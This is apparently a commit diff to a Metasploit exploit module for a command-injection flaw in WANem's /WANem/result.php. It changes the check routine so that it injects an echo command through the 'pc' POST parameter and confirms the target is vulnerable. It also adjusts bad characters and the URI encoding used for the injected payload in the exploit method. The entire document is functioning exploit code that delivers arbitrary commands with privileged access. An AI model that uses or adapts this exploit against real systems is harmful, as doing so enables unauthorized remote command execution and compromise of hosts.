@@ -25,7 +25,6 @@ def initialize(info = {})
25
25
and vulnerable to command execution in argument one.
26
26
} ,
27
27
'License' => MSF_LICENSE ,
28
- 'Version' => '$Revision: 1 $' ,
29
28
'Privileged' => true ,
30
29
'Platform' => 'unix' ,
31
30
'Arch' => ARCH_CMD ,
@@ -42,7 +41,7 @@ def initialize(info = {})
42
41
'Payload' =>
43
42
{
44
43
'Space' => 1024 ,
45
- 'BadChars' => "\x00 " ,
44
+ 'BadChars' => "\x00 \x22 \x27 " ,
46
45
'DisableNops' => true ,
47
46
'Compat' =>
48
47
{
@@ -68,24 +67,35 @@ def on_new_session(client)
68
67
end
69
68
70
69
def check
70
+ @peer = "#{ rhost } :#{ rport } "
71
+ fingerprint = Rex ::Text . rand_text_alphanumeric ( rand ( 8 ) +4 )
72
+ data = "pc=127.0.0.1; "
73
+ data << Rex ::Text . uri_encode ( "echo #{ fingerprint } " )
74
+ data << "%26"
75
+ print_status ( "#{ @peer } - Sending check" )
71
76
72
- res = send_request_cgi ( {
73
- 'method' => 'GET' ,
74
- 'uri' => '/WANem/result.php'
75
- } )
76
- if res and res . body =~ /<br><br><br><b><font color=red>Can't measure\! \! Please repeat\. <\/ font><\/ b><\/ body>/
77
- return Exploit ::CheckCode ::Appears
77
+ begin
78
+ res = send_request_cgi ( {
79
+ 'uri' => '/WANem/result.php' ,
80
+ 'method' => 'POST' ,
81
+ 'data' => data
82
+ } , 25 )
83
+ rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
84
+ print_error ( "#{ @peer } - Connection failed" )
85
+ return Exploit ::CheckCode ::Unknown
86
+ end
87
+
88
+ if res and res . code == 200 and res . body =~ /#{ fingerprint } /
89
+ return Exploit ::CheckCode ::Vulnerable
78
90
else
79
91
return Exploit ::CheckCode ::Safe
80
92
end
81
-
82
93
end
83
94
84
95
def exploit
85
-
86
96
@peer = "#{ rhost } :#{ rport } "
87
97
data = "pc=127.0.0.1; "
88
- data << URI . encode ( payload . raw )
98
+ data << Rex :: Text . uri_encode ( payload . raw )
89
99
data << "%26"
90
100
print_status ( "#{ @peer } - Sending payload (#{ payload . raw . length } bytes)" )
91
101
begin
0 commit comments